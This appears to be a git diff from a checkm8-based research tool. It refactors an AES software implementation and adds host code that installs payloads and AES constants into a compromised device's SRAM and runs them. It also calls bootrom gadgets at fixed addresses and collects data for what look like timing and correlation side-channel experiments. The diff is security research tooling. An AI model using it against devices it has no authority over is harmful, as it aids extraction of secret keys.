@@ -37,5 +36,10 @@ add_dependencies(payload payload_sources)
|
||||
add_custom_command(TARGET payload POST_BUILD
|
||||
BYPRODUCTS ${CMAKE_SOURCE_DIR}/c8_remote/include/libpayload.h
|
||||
COMMAND python3 ${CMAKE_CURRENT_LIST_DIR}/scripts/headerize.py
|
||||
${CMAKE_CURRENT_BINARY_DIR}/lib
|
||||
${CMAKE_SOURCE_DIR}/c8_remote/include)
|
||||
${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles
|
||||
${CMAKE_SOURCE_DIR}/c8_remote/include/tool)
|
||||
|
||||
add_library(experiments experiments/aes_sw.c
|
||||
experiments/system.c
|
||||
experiments/power.c)
|
||||
add_library(host_crypto crypto/aes_sw_impl.c crypto/aes_sw_host.c)
|
||||
78
c8_remote/lib/crypto/aes_sw_host.c
Normal file
78
c8_remote/lib/crypto/aes_sw_host.c
Normal file
@@ -0,0 +1,78 @@
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "dev/types.h"
|
||||
|
||||
static const unsigned char sbox[256] =
|
||||
{
|
||||
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
|
||||
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
|
||||
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
|
||||
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
|
||||
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
|
||||
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
|
||||
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
|
||||
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
|
||||
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
|
||||
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
|
||||
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
|
||||
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
|
||||
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
|
||||
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
|
||||
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
|
||||
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
|
||||
};
|
||||
|
||||
static const unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
|
||||
|
||||
static const unsigned char mul2_lookup[256] =
|
||||
{
|
||||
0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
|
||||
0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,
|
||||
0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e,
|
||||
0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e,
|
||||
0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e,
|
||||
0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe,
|
||||
0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde,
|
||||
0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe,
|
||||
0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05,
|
||||
0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25,
|
||||
0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45,
|
||||
0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65,
|
||||
0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85,
|
||||
0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5,
|
||||
0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5,
|
||||
0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5
|
||||
};
|
||||
|
||||
static const unsigned char mul3_lookup[256] =
|
||||
{
|
||||
0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11,
|
||||
0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21,
|
||||
0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71,
|
||||
0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41,
|
||||
0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1,
|
||||
0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1,
|
||||
0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1,
|
||||
0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81,
|
||||
0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a,
|
||||
0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba,
|
||||
0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea,
|
||||
0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda,
|
||||
0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a,
|
||||
0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a,
|
||||
0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a,
|
||||
0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
|
||||
};
|
||||
|
||||
struct aes_constants *get_constants()
|
||||
{
|
||||
struct aes_constants *res = malloc(sizeof(struct aes_constants));
|
||||
|
||||
memcpy(res->sbox, sbox, sizeof(sbox));
|
||||
memcpy(res->rc_lookup, rc_lookup, sizeof(rc_lookup));
|
||||
memcpy(res->mul2, mul2_lookup, sizeof(mul2_lookup));
|
||||
memcpy(res->mul3, mul3_lookup, sizeof(mul3_lookup));
|
||||
|
||||
return res;
|
||||
}
|
||||
@@ -1,14 +1,11 @@
|
||||
#include "util.h"
|
||||
#include "brfunc_timing.h"
|
||||
#include "dev/types.h"
|
||||
|
||||
#ifdef DEV_CRYPTO
|
||||
#include "dev_util.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void task_sleep(unsigned int usec)
|
||||
{
|
||||
((BOOTROM_FUNC) ADDR_TASK_SLEEP)(usec);
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void sub_bytes(unsigned char block[16], unsigned char sbox[16][16])
|
||||
#endif
|
||||
void sub_bytes(unsigned char block[16], struct aes_constants *c)
|
||||
{
|
||||
int i;
|
||||
unsigned char val;
|
||||
@@ -16,11 +13,13 @@ void sub_bytes(unsigned char block[16], unsigned char sbox[16][16])
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
val = block[i];
|
||||
block[i] = sbox[val >> 4u][val & 0xfu];
|
||||
block[i] = c->sbox[val >> 4u][val & 0xfu];
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEV_CRYPTO
|
||||
PAYLOAD_SECTION
|
||||
#endif
|
||||
void shift_rows(unsigned char block[16])
|
||||
{
|
||||
unsigned char temp1, temp2;
|
||||
@@ -45,9 +44,10 @@ void shift_rows(unsigned char block[16])
|
||||
block[0x7] = temp1;
|
||||
}
|
||||
|
||||
#ifdef DEV_CRYPTO
|
||||
PAYLOAD_SECTION
|
||||
void mix_cols(unsigned char block[16],
|
||||
unsigned char mul2_lookup[256], unsigned char mul3_lookup[256])
|
||||
#endif
|
||||
void mix_cols(unsigned char block[16], struct aes_constants *c)
|
||||
{
|
||||
unsigned char r0, r1, r2, r3;
|
||||
int i;
|
||||
@@ -60,14 +60,16 @@ void mix_cols(unsigned char block[16],
|
||||
r3 = block[4 * i + 3];
|
||||
|
||||
// no reason for the "+ 0" here but it makes the code look more lined up :)
|
||||
block[4 * i + 0] = mul2_lookup[r0] ^ mul3_lookup[r1] ^ r2 ^ r3;
|
||||
block[4 * i + 1] = r0 ^ mul2_lookup[r1] ^ mul3_lookup[r2] ^ r3;
|
||||
block[4 * i + 2] = r0 ^ r1 ^ mul2_lookup[r2] ^ mul3_lookup[r3];
|
||||
block[4 * i + 3] = mul3_lookup[r0] ^ r1 ^ r2 ^ mul2_lookup[r3];
|
||||
block[4 * i + 0] = c->mul2[r0] ^ c->mul3[r1] ^ r2 ^ r3;
|
||||
block[4 * i + 1] = r0 ^ c->mul2[r1] ^ c->mul3[r2] ^ r3;
|
||||
block[4 * i + 2] = r0 ^ r1 ^ c->mul2[r2] ^ c->mul3[r3];
|
||||
block[4 * i + 3] = c->mul3[r0] ^ r1 ^ r2 ^ c->mul2[r3];
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEV_CRYPTO
|
||||
PAYLOAD_SECTION
|
||||
#endif
|
||||
void add_key(unsigned char block[16], unsigned char key[16])
|
||||
{
|
||||
int i;
|
||||
@@ -77,9 +79,11 @@ void add_key(unsigned char block[16], unsigned char key[16])
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEV_CRYPTO
|
||||
PAYLOAD_SECTION
|
||||
#endif
|
||||
void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
|
||||
unsigned char sbox[16][16], unsigned char rc_lookup[11])
|
||||
struct aes_constants *c)
|
||||
{
|
||||
int i, j, prev_key_base, key_base = 0;
|
||||
unsigned char val;
|
||||
@@ -96,13 +100,13 @@ void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
|
||||
for(j = 0; j < 3; j++)
|
||||
{
|
||||
val = key_sched[prev_key_base + 13 + j];
|
||||
key_sched[key_base + j] = sbox[val >> 4u][val & 0xfu];
|
||||
key_sched[key_base + j] = c->sbox[val >> 4u][val & 0xfu];
|
||||
}
|
||||
|
||||
val = key_sched[prev_key_base + 12];
|
||||
key_sched[key_base + 3] = sbox[val >> 4u][val & 0xfu];
|
||||
key_sched[key_base + 3] = c->sbox[val >> 4u][val & 0xfu];
|
||||
|
||||
key_sched[key_base] ^= rc_lookup[i - 1];
|
||||
key_sched[key_base] ^= c->rc_lookup[i - 1];
|
||||
|
||||
for(j = 0; j < 4; j++)
|
||||
{
|
||||
@@ -116,27 +120,12 @@ void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEV_CRYPTO
|
||||
PAYLOAD_SECTION
|
||||
void busy_sleep(int usec)
|
||||
#endif
|
||||
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
|
||||
unsigned char key_sched[176], struct aes_constants *c)
|
||||
{
|
||||
unsigned long long halt = 0x1000004fc;
|
||||
unsigned long long timer_deadline_enter = 0x10000b874;
|
||||
unsigned long long now;
|
||||
|
||||
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (now));
|
||||
((BOOTROM_FUNC) timer_deadline_enter)(now + 24 * usec, ((BOOTROM_FUNC) 0x10000b924));
|
||||
((BOOTROM_FUNC) halt)();
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len, unsigned char key[16],
|
||||
unsigned char sbox[16][16], unsigned char rc_lookup[11],
|
||||
unsigned char mul2[256], unsigned char mul3[256])
|
||||
{
|
||||
unsigned char key_sched[176];
|
||||
expand_key(key, key_sched, 11, sbox, rc_lookup);
|
||||
busy_sleep(10);
|
||||
|
||||
unsigned int num_blocks = msg_len / 16;
|
||||
unsigned char *block;
|
||||
|
||||
@@ -148,27 +137,14 @@ void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len, unsigned char
|
||||
|
||||
for(j = 0; j < 9; j++)
|
||||
{
|
||||
sub_bytes(block, sbox);
|
||||
sub_bytes(block, c);
|
||||
shift_rows(block);
|
||||
mix_cols(block, mul2, mul3);
|
||||
mix_cols(block, c);
|
||||
add_key(block, &key_sched[16 * (j + 1)]);
|
||||
}
|
||||
|
||||
sub_bytes(block, sbox);
|
||||
sub_bytes(block, c);
|
||||
shift_rows(block);
|
||||
add_key(block, &key_sched[16 * (j + 1)]);
|
||||
}
|
||||
}
|
||||
|
||||
TEXT_SECTION
|
||||
void _start(unsigned char *msg, unsigned int msg_len, unsigned char *key,
|
||||
unsigned char sbox[16][16], unsigned char rc_lookup[11],
|
||||
unsigned char mul2[256], unsigned char mul3[256])
|
||||
{
|
||||
unsigned long long start, end;
|
||||
unsigned long long platform_quiesce_hardware = 0x100007dd0;
|
||||
|
||||
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
|
||||
aes128_encrypt_ecb(msg, msg_len, key, sbox, rc_lookup, mul2, mul3);
|
||||
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
|
||||
}
|
||||
277
c8_remote/lib/experiments/aes_sw.c
Normal file
277
c8_remote/lib/experiments/aes_sw.c
Normal file
@@ -0,0 +1,277 @@
|
||||
#include "util/experiments.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#include "dev/addr.h"
|
||||
#include "tool/command.h"
|
||||
#include "util/host_crypto.h"
|
||||
|
||||
DEV_PTR_T install_aes_data(struct pwned_device *dev)
|
||||
{
|
||||
int close;
|
||||
DEV_PTR_T res;
|
||||
struct aes_constants *constants = get_constants();
|
||||
|
||||
if(is_device_session_open(dev)) close = 0;
|
||||
else
|
||||
{
|
||||
close = 1;
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
free(constants);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
}
|
||||
|
||||
res = install_data(dev, SRAM, (unsigned char *) constants, sizeof(struct aes_constants));
|
||||
if(res == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to write AES constants\n");
|
||||
free(constants);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
if(close)
|
||||
{
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
printf("failed to close device session\n");
|
||||
free(constants);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
}
|
||||
|
||||
free(constants);
|
||||
return res;
|
||||
}
|
||||
|
||||
DEV_PTR_T setup_bern_exp(struct pwned_device *dev)
|
||||
{
|
||||
DEV_PTR_T addr_data, addr_key, addr_async_buf, addr_constants;
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
unsigned char data[16];
|
||||
unsigned char key[16];
|
||||
memset(key, 0x1, 16);
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
addr_constants = install_aes_data(dev);
|
||||
if(addr_constants == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to install aes constants\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
addr_data = install_data(dev, SRAM, data, 16);
|
||||
if(addr_data == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to install aes data\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
addr_key = install_data(dev, SRAM, key, 16);
|
||||
if(addr_key == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to install aes key\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW_BERN, SRAM)))
|
||||
{
|
||||
printf("failed to install aes payload\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute sync payload\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW_BERN,
|
||||
sizeof(struct bern_data),
|
||||
4, addr_data, 16, addr_key, addr_constants);
|
||||
run_payload_async(dev, PAYLOAD_AES_SW_BERN);
|
||||
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
printf("failed to close device session\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
return addr_async_buf;
|
||||
}
|
||||
|
||||
struct bern_data *get_bern_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf)
|
||||
{
|
||||
struct dev_cmd_resp *resp;
|
||||
struct bern_data *res;
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
|
||||
async_buf + offsetof(struct bern_data, ev_data));
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to signal for data\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
resp = read_gadget(dev, async_buf, sizeof(struct bern_data));
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to get data from device\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
res = (struct bern_data *) resp->data;
|
||||
free(resp);
|
||||
|
||||
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
|
||||
async_buf + offsetof(struct bern_data, ev_done));
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to signal data end\n");
|
||||
free(res);
|
||||
free_dev_cmd_resp(resp);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
printf("failed to close device session\n");
|
||||
free(res);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
DEV_PTR_T setup_corr_exp(struct pwned_device *dev, unsigned char *init_key)
|
||||
{
|
||||
DEV_PTR_T addr_key, addr_async_buf, addr_constants;
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
addr_constants = install_aes_data(dev);
|
||||
if(addr_constants == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to install aes constants\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
addr_key = install_data(dev, SRAM, init_key, 16);
|
||||
if(addr_key == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to install aes key\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW_CORR, SRAM)))
|
||||
{
|
||||
printf("failed to install aes payload\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute sync payload\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW_CORR,
|
||||
sizeof(struct corr_data),
|
||||
2, addr_key, addr_constants);
|
||||
run_payload_async(dev, PAYLOAD_AES_SW_CORR);
|
||||
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
printf("failed to close device session\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
return addr_async_buf;
|
||||
}
|
||||
|
||||
struct corr_data *get_corr_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf)
|
||||
{
|
||||
struct dev_cmd_resp *resp;
|
||||
struct corr_data *res;
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
resp = read_gadget(dev, async_buf, sizeof(struct corr_data));
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to get data from device\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
res = (struct corr_data *) resp->data;
|
||||
free(resp);
|
||||
|
||||
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
|
||||
async_buf + offsetof(struct corr_data, ev_cont));
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to signal data continue\n");
|
||||
free(res);
|
||||
free_dev_cmd_resp(resp);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
printf("failed to close device session\n");
|
||||
free(res);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
108
c8_remote/lib/experiments/power.c
Normal file
108
c8_remote/lib/experiments/power.c
Normal file
@@ -0,0 +1,108 @@
|
||||
#include "util/experiments.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include "tool/payload.h"
|
||||
|
||||
void floppysleep(struct pwned_device *dev)
|
||||
{
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
|
||||
{
|
||||
printf("failed to install task sleep payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
float init_a = -7.504355E-39f;
|
||||
DEV_PTR_T init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
|
||||
if(init_a_ptr == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to write initial data\n");
|
||||
return;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute bootstrap\n");
|
||||
return;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_FLOPPYSLEEP, 0, 1, init_a_ptr);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute flopsleep payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
printf("retval is %08lli\n", resp->retval);
|
||||
free_dev_cmd_resp(resp);
|
||||
close_device_session(dev);
|
||||
}
|
||||
|
||||
void floppysleep_async(struct pwned_device *dev)
|
||||
{
|
||||
float init_a = -7.504355E-39f;
|
||||
DEV_PTR_T init_a_ptr, async_buf_ptr;
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
|
||||
{
|
||||
printf("failed to install task sleep payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
|
||||
if(init_a_ptr == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to write initial data\n");
|
||||
return;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute bootstrap\n");
|
||||
return;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
|
